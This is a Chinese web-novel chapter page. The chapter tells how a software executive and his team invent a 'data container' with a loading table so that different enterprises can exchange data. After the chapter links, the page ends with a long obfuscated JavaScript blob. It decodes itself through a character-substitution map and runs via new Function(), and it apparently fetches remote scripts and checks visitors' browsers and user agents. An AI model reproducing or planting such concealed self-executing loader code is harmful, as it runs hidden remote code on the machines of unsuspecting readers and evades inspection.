关灯
护眼
字体:

第343章 数据集装箱(第1页)

章节目录保存书签

夜色早已浓稠如墨,一号会议室,依旧亮如白昼。空气里弥漫着咖啡因和焦灼混合的气息。张伟坐在长桌尽头,指尖无意识地敲击着桌面,目光扫过面前的三位核心骨干。sr产品经理小温,秀气的眉头紧锁,面前的白板上画满了方框和箭头,又被她一次次烦躁地擦去,只留下一片狼藉的痕迹。研发老陈,一个习惯了用代码逻辑构建it世界的男人,此刻也苦着一张脸,双手一摊:“张总,不是我们不尽力,是这条路……好像本身就是堵死的。传统的sr,采购、下单、对账,流程清晰得很。可我们的‘社交sr’,企业间数据怎么对齐?根本找不到一个通用的技术模型!”知识产权小吴推了推眼镜,试探着地补充道:“老陈说的还只是技术层面。从法律和商业角度看,如果我们沿用传统的api(应用程序接口)或edi(电子数据交换)路径,不仅实施成本巨大,每一步都可能踩中别人埋下的专利地雷,壁垒森严。”张伟没有说话,内心却翻腾不已,焦虑感也油然而生,“不对,一定有什么地方不对。我们开创的企业智能体时代,协作,应该像社交一样自然才对。沿用几十年前为固化流程设计的edi和api,就像想让马车跑出高铁的速度,这根本是方向上的错误!我们必须找到一种新的模式,一种……能让数据像社交信息一样自由流动的模式!”会议室陷入了沉默。雄心勃勃打造的“社交sr”,旨在让企业间的业务协作,基于企业语言逻辑要像微信聊天一样简单随意,此刻却被最基础的数据互认问题,死死按在了起跑线上。找不到方案,会议被迫延长。小温调出她调研的几家大型企业的供应链数据结构图,密密麻麻的字段和关联线,看得人头皮发麻。“大家看,”老陈指着图解释道,“问题的核心不是传输数据本身,而是企业间的‘语言’不通。都叫‘采购订单’,a公司只定义了30个字段,b公司因为业务复杂,有70个字段,甚至同一个字段名,含义和格式都不同。我们需要的是,类似apiedi的字段互认,才能做到‘社交sr’数据的互认,而现在各家企业的,都叫采购订单,但其含义完全不一致。这就好比语言学里的‘上位词’和‘下位词’,‘采购订单’是抽象的上位词,落到每个具体企业,就是千差万别的下位词。”张伟点头,老陈理解的非常对,直击问题核心,但突破口在哪里?强行统一所有企业的数据标准?这无异于痴人说梦。即使未来企业语言已经覆盖全球,也不行。就像自然语语言,描述‘死亡’,不可能在任何语境下,都使用‘牺牲’这个词。一直沉默的小吴,轻轻说了一句,却像一把匕首,刺破了所有虚假的可能:“如果每一次新的企业合作,都需要双方it团队进行一次漫长的‘对接’谈判,理清每一个字段的含义,那企业之间就永远无法像人和人用微信一样,随时、随地、随意地开始沟通。”“随时、随地、随意…”小温眼神一亮,仿佛抓住了什么,“对啊!那企业之间为什么不能像微信聊天一样?我想发个询价请求,就直接发过去,对方就能看懂并回复?为什么一定要先派两队工程师开上几个星期的会去对字段含义?”这个想法如此简单,如此诱人,却又如此……不现实。所有人都愣住了,心里升起一丝荒谬感。企业级应用,怎么可能像个人社交那样随意?张伟的脑海中,却因小温这句话,瞬间串联起了所有阻塞点,形成了一个清晰的问题集合:“是了,关键就在这里!企业智能体的社交产品,底层逻辑应该向qq、微信学习,但toc的社交场景极其单一,核心就是‘聊天’。而tob的社交场景,复杂得可怕——询价、报价、订单、发货、收货、质检、对账……每一种业务场景都是一门独特的‘语境逻辑’,每个企业对这些‘语境’又有自己的‘解释’。”这是地部分,张伟的归纳合集,接着是第二部分。“api和edi,即使我们解决了成本和专利问题,也解决不了最根本的业务发生的随机性问题。两家企业要发生业务,首先是一个商业行为,是具有随机性的,根本不会存在it接口去事先完成对接!难道就因为一单几百块的生意,双方就得投入几十万去搞系统集成吗?这不可能!所以,真正的社交sr,必须同时具备qq的灵活性和tob业务的复杂性、以及容纳力!”张伟一阵的扶额啊!难道企业全球脑,要卡在这最不起眼的最底层的数据互认上?张伟很是不甘啊!,!夜已深,张伟搭乘小玲的车回家。高强度思考后的疲惫如潮水般涌来,太阳穴突突直跳。车子驶上通往家方向的快速路,车流稀疏。突然,小玲低呼一声,几乎是条件反射地,一脚油门加速,迅速超越了旁边一辆巨大的、呼啸而行的集装箱货柜车。张伟被小玲这一通的操作刺激了精神,原地一个激灵,脑袋也有那么点清醒了。“吓我一跳,最怕这种集装箱大车了,总觉得它随时会倒下来……”小玲拍着胸口,心有余悸地嘀咕着,“离远点好。”集装箱!集装箱!这三个字,像一道闪电,击中了张伟的g点,好像一瞬间劈开了脑中混沌的迷雾!就在这一刹那,三股看似无关的记忆和知识,如同受到无形之手的牵引,在他脑海中疯狂碰撞、融合:第一股,来自sap的sd销售模块pack打包发货,早年在东莞做sap系统时,工厂物流环节那一张张详细的“装载表”清晰浮现——它不关心集装箱里装的是什么具体的货物,它只严格定义货物的‘摆放结构’、‘类型’和‘标识’。凭着这张表,任何人、任何设备都能在集装箱到货的目的地高效、无误地卸货、清点。第二股,《集装箱改变世界》这本之前做sap顾问时flyback的读物,里面有一句划了重点的话,此时正熠熠生辉:“集装箱的伟大,不在于它改变了货物本身,而在于它革命性地标准化了货物的装载和运输逻辑。”第三股,自己真正全新构建的理论体系,‘企业语言’,独属于企业智能体的文字、语言系统。三股意识,犹如三道完全不同的极道真气盘旋着交织而上。只听见!轰!脑中仿佛有惊雷炸响!一个全新的、完整的体系,从混沌的思维尘埃中诞生,瞬间展开,光芒万丈!张伟看到了:数据不需要被统一,只需要被“标准化装载”!张伟看到了:企业不需要共享底层数据结构,但可以共享解读数据的“语义结构”!张伟看到了:sr的底层数据架构,必须被彻底推翻重建!不是修修补补,而是革命!这样才能从根上诞生出全新的社交sr。“不是api,不是edi……”张伟喃喃自语,声音因激动而微微颤抖,“是……数据集装箱!哈哈,数据集装箱!”小玲被他突然的状态吓了一跳,关切地问:“伟哥,你怎么了?没事吧?”张伟深吸一口气,努力平复翻江倒海的心情,目光却亮得吓人:“我想通了!全想通了!哈哈!”第二天,清晨。老陈、小温、小吴三人再次被张伟紧急召集到1号会议室。他们脸上还带着昨夜鏖战的倦容和一丝疑惑。张伟站在白板前,精神焕发,丝毫没有通宵后的颓废。张伟没有准备任何ppt,只是拿起墨水笔,转身,在白板的正中央,挥毫写下三个苍劲有力的大字:集装箱“各位,”张伟转过身,目光灼灼,“我们之前都钻进了牛角尖,总想着怎么让两家企业的数据‘长得一样’。错了!大错特错!我们应该想的,是怎么让它们即使‘长得不一样’,也能毫无障碍地‘对话’!”张伟开始了他的讲解,没有术语堆砌,只有生动的故事和类比:“想象一下物流世界。全球的货物,形态、大小、材质千差万别,对吧?在80年前所有货物用各自规格、尺寸的箱子进行包装运输,然后上船、上车全球贸易还能运转吗?事实证明不能!”团队成员们不由自主地点头。“但是,1946年集装箱出现了!”张伟用力点了点白板上的三个字,“它不关心你里面装的是玩具、电脑还是汽车零件。它只提供一个标准尺寸的‘箱子’,以及一套标准的装载和锁扣机制。只要你按照规则把货物装进去,贴上标识,它就可以被吊车、卡车、轮船无缝衔接,运往世界任何一个有此标准的港口,有此标准的任何地域角落!”他目光扫过众人,看到老陈的眉头微微舒展,小温停止了转笔,小吴的镜片后闪烁着思考的光芒。“现在,把物流世界映射到我们的企业数据世界!”张伟在白板左边写下“物流”,右边写下“数据”。并且这两个词,同时都被张伟画上了箭头,指向了最开始写的三个字:‘集装箱’。“千差万别的货物”→“千差万别的企业数据(订单、发票、运单…)”“统一包装不可能”→“统一数据接口格式不可能”“集装箱标准化运输”→“数据集装箱标准化交换!”老陈倒吸一口凉气,眼中爆发出震惊与狂喜交织的神采。小温猛地放下笔,双手握紧。小吴瞬间意识到,这不仅仅是技术突破,这背后是一套可以定义行业标准、构建强大专利护城河的底层方法论!,!“那么,数据集装箱的核心是什么?”张伟在白板上画了一个集装箱的简笔画,然后在旁边引出一个表格。“是‘装载表’!”他重重地写下这三个字。“大家知道我们的‘企业语言’。装载表,就是‘企业语言单词的构词结构’和‘语法说明书’!”张伟开始具体阐释装载表中的核心理念。“社交sr的采购方,也就是信息、数据发送方企业,比如要发一个采购订单,它不需要知道接收方系统内部用什么字段名、什么数据类型。它只需要按照事先约定好的、针对‘采购订单’这种业务的企业语言构词标准定义的‘装载表’,把数据像货物一样,‘装’进一个标准化的数据结构里。这个装载表,会明确定义:哪个字段代表订单号(语义),它的格式是什么(字符串、数字),它的位置在哪里(结构)。”“社交sr的销售方即数据接收方企业呢?它收到这个‘数据集装箱’后,不需要和发送方做任何事先的接口开发。它只需要拿到这个集装箱附带的‘装载表’,就能像看货物清单和摆放图一样,准确无误地从集装箱里‘卸货’,并把数据还原成自己业务系统能够理解的格式和信息!”张伟看着老陈:“老陈,这下明白了吗?我们传输的,不是裸数据,而是‘数据本身’+‘解读数据的说明书(装载表)’的完整包裹!”老陈重重一拍大腿:“懂了!彻底懂了!发送方和接收方不需要共享数据库,甚至不需要知道对方的存在,他们只需要共同承认这套‘装载表’规范!这……这简直就是为企业数据交换定义了一套,企业智能体的tcpip数据协议啊!”小温激动地站起来,声音带着颤抖:“那……那这样一来,我们的新sr,就不再是以固定流程为中心了!而是以……以‘业务对话为中心’!企业可以像发起聊天一样,随时发起一个‘询价对话’、‘订单对话’、‘发货通知对话’!天啊!这是真正的、彻彻底底的成了,企业智能体的qq和微信了啊!”这一句,为“社交sr”注入了真正的灵魂。张伟看着眼前焕然新生的团队,心中涌起一股豪情。他知道,社交sr项目最坚硬的那堵墙,已经被“数据集装箱”这把概念利刃,彻底凿穿了。老陈眼神坚定,已经开始在笔记本上勾勒技术架构了。小温满脸兴奋,脑海中已然浮现出全新的产品原型。小吴则飞快地记录着关键概念,已经在构思专利布局。张伟走到白板前,在“数据集装箱”五个大字下面,用力画了一条横线。“八十多年前,一个简单的钢铁箱子——集装箱,彻底改变了全球贸易的格局,让物流成本暴跌,让全球化成为可能。”他的声音沉稳而有力,回荡在会议室里:“今天,我们在这里,不是在仅仅设计一个系统,或是开发一个产品。”“我们是在试图为企业之间的数据洪流,铸造它们的‘集装箱’。我们所要构建的,是能够让企业数据自由穿梭于世界任何一个角落的——神器!”张伟的目光缓缓拉近,最终定格在那块白板上。五个大字,仿佛蕴含着无穷的力量与时代的分水岭:“数据集装箱”!:()凡人码农加sap加xr征服世界

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();